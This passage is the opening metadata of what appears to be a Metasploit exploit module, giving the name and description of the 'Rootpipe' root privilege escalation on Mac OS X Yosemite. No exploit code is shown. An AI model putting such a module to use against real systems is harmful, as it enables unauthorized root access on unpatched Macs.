'Name' => 'Apple OS X Rootpipe Privilege Escalation',
'Description' => %q{
This module exploits a hidden backdoor API in Apple's Admin framework on
Mac OS X to escalate privileges to root, dubbed "Rootpipe."
This module was tested on Yosemite 10.10.2 and should work on previous versions.
The patch for this issue was not backported to older releases.
Note: you must run this exploit as an admin user to escalate to root.
